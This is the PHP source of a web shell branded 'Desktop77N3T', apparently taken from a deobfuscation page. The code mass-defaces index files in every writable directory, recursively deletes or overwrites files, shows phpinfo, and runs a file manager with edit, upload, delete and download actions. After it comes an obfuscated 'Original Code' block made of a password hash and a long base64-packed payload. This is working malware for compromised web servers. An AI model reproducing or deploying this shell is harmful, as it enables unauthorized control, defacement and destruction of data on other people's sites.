			echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
			}
			}
	function hapus_massal($dir,$namafile) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					if(file_exists("$dir/$namafile")) {
						unlink("$dir/$namafile");
					}
				} elseif($dirb === '..') {
					if(file_exists("".dirname($dir)."/$namafile")) {
						unlink("".dirname($dir)."/$namafile");
					}
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							if(file_exists($lokasi)) {
								echo "[<font color=lime>DELETED</font>] $lokasi<br>";
								unlink($lokasi);
								$idx = hapus_massal($dirc,$namafile);
							}
						}
					}
				}
			}
		}
	}
	function clear_fill($file,$index){
		if(file_exists($file)){
			$handle = fopen($file,'w');
			fwrite($handle,'');
			fwrite($handle,$index);
			fclose($handle);  } }

	function gass(){
		global $dirr , $index ;
		chdir($dirr);
		$me = str_replace(dirname(__FILE__).'/','',__FILE__);
		$files = scandir($dirr) ;
		$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
		sort($files);
		$n = 0 ;
		foreach ($files as $file){
			if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
				echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
				edit_file($file,$index);
				flush();
				$n = $n +1 ;
				} 
				}
				echo "<br>";
				echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
					}
	function ListFiles($dirrall) {

    if($dh = opendir($dirrall)) {

       $files = Array();
       $inner_files = Array();
       $me = str_replace(dirname(__FILE__).'/','',__FILE__);
       $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
        while($file = readdir($dh)) {
            if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
                if(is_dir($dirrall . "/" . $file)) {
                    $inner_files = ListFiles($dirrall . "/" . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
                    array_push($files, $dirrall . "/" . $file);
                }
            }
			}

			closedir($dh);
			return $files;
		}
	}
	function gass_all(){
		global $index ;
		$dirrall=$_POST['d_dir'];
		foreach (ListFiles($dirrall) as $key=>$file){
			$file = str_replace('//',"/",$file);
			echo "<center><strong>$file</strong> ===>";
			edit_file($file,$index);
			flush();
		}
		$key = $key+1;
	echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['mass'] == 'onedir') {
		echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
";
		$ini="http://";
		$mainpath=$_POST[d_dir];
		$file=$_POST[d_file];
		$dir=opendir("$mainpath");
		$code=base64_encode($_POST[script]);
		$indx=base64_decode($code);
		while($row=readdir($dir)){
		$start=@fopen("$row/$file","w+");
		$finish=@fwrite($start,$indx);
		if ($finish){
			echo"$ini$row/$file
";
			}
		}
		echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
		$mainpath=$_POST[d_dir];$file=$_POST[d_file];
		$dir=opendir("$mainpath");
		$code=base64_encode($_POST[script]);
		$indx=base64_decode($code);
		while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
		$finish=@fwrite($start,$indx);
		if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
		}

	}
	elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
	elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
	elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
	elseif($_POST['mass'] == 'massdeface') {
		echo "<div style='margin: 5px auto; padding: 5px'>";
		sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
		echo "</div>";	}
	else {
		echo "
		<center><font style='text-decoration: underline;'>
		Select Type:<br>
		</font>
		<select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
		<option value=\"onedir\">Mass Deface 1 Dir</option>
		<option value=\"massdeface\">Mass Deface Semua Dir</option>
		<option value=\"sabunkabeh\">Deface Massal Di Tempat</option>
		<option value=\"sabunmematikan\">Deface Massal Bunuh Diri</option>
		<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
		<font style='text-decoration: underline;'>Folder:</font><br>
		<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
		<font style='text-decoration: underline;'>Filename:</font><br>
		<input type='text' name='d_file' value='d7net.php' style='width: 450px;' height='10'><br>
		<font style='text-decoration: underline;'>Index File:</font><br>
		<textarea name='script' style='width: 450px; height: 200px;'>Hacked By Desktop77N3T</textarea><br>
		<input type='submit' class='d7net_table' name='start' value='Mass Deface' style='width: 450px;'>
		</form></center>";
		}
    }
elseif($_GET['D7net'] == 'phinfo')
{@ob_start();eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='mybox'><div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div></div>";} 
elseif($_GET['act'] == 'delete') {
    $delete = unlink($_GET['file']);
    if($delete) {
        $act = "<script>window.location='?dir=".$dir."';</script>";
    } else {
        $act = "<font color=red>Gak dibolehin, Jancok!</font>";
    }
    echo $act;
}else {
    if(is_dir($dir) == true) {
        echo '<div class="mybox"><table width="100%" class="table_home" border="1" cellpadding="3" cellspacing="1" align="center">
        <tr>
        <th style="min-width:150px;" class="th_home"><center>Name</center></th>
        <th class="th_home"><center>Type</center></th>
        <th style="width:74px;min-width:74px;" class="th_home"><center>Size</center></th>
        <th style="width:150px;min-width:150px;" class="th_home"><center>Modified</center></th>
        <th style="width:80px;min-width:80px;" class="th_home"><center>Perms</center></th>
        <th style="width:200px;min-width:200px;" class="th_home"><center>Action</center></th>
        </tr>';
        $scandir = scandir($dir);
        foreach($scandir as $dirx) {
            $dtype = filetype("$dir/$dirx");
            $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
            if(!is_dir("$dir/$dirx")) continue;
            if($dirx === '..') {
                $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
            } elseif($dirx === '.') {
                $href = "<a href='?dir=$dir'>$dirx</a>";
            } else {
                $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
            }
            if($dirx === '.' || $dirx === '..') {
                $act_dir = "+<a href='?act=newfile&dir=$dir'> NewFile</a> <font color='white'>|</font>+ <a href='?act=newfolder&dir=$dir'>NewFolder</a>";
                } else {
                $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> <font color='white'>&nbsp&nbsp|</font> <a href='?dir=$dir&D7net=upload'>upload</a><font color='white'>&nbsp|</font> <a href='?act=delete_dir&dir=$dir/$dirx'>hapus</a>";
            }
            echo "<tr>";
            echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg=='>$href</td>";
            echo "<td class='td_home'><center>$dtype</center></td>";
            echo "<td class='td_home'><center>-</center></th>";
            echo "<td class='td_home'><center>$dtime</center></td>";
            echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
            echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
        }
        echo "</tr>";
        foreach($scandir as $file) {
            $ftype = filetype("$dir/$file");
            $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
            $size = filesize("$dir/$file")/1024;
            $size = round($size,3);
            if($size > 1024) {
                $size = round($size/1024,2). 'MB';
            } else {
                $size = $size. 'KB';
            }
            if(!is_file("$dir/$file")) continue;
            echo "<tr>";
            echo "<td style='min-width:150px;' class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
            echo "<td style='width:74px;min-width:74px;' class='td_home'><center>$ftype</center></td>";
            echo "<td class='td_home'><center>$size</center></td>";
            echo "<td class='td_home'><center>$ftime</center></td>";
            echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
            echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> <font color='white'>&nbsp|</font> <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> <font color='white'>|</font> <a href='?act=delete&dir=$dir&file=$dir/$file'>hapus</a> <font color='white'>|</font> <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
        }
        echo "</tr></table></div>";
    } else {
        echo "<font color=red>Gabisa buka directory cok :(</font>";
    }
    }

echo "<center>
<a color='white'>Copyright &copy; ".date("Y")." - <font color='white'></a> | recode by <font color=red>Desktop77N3T</font></a></center>";
?>

Did this file decode correctly?

Original Code

<?php
$d7net_pass = "ccc3cb53e60bcac604006d53b35df220fd12826f";
$d7net="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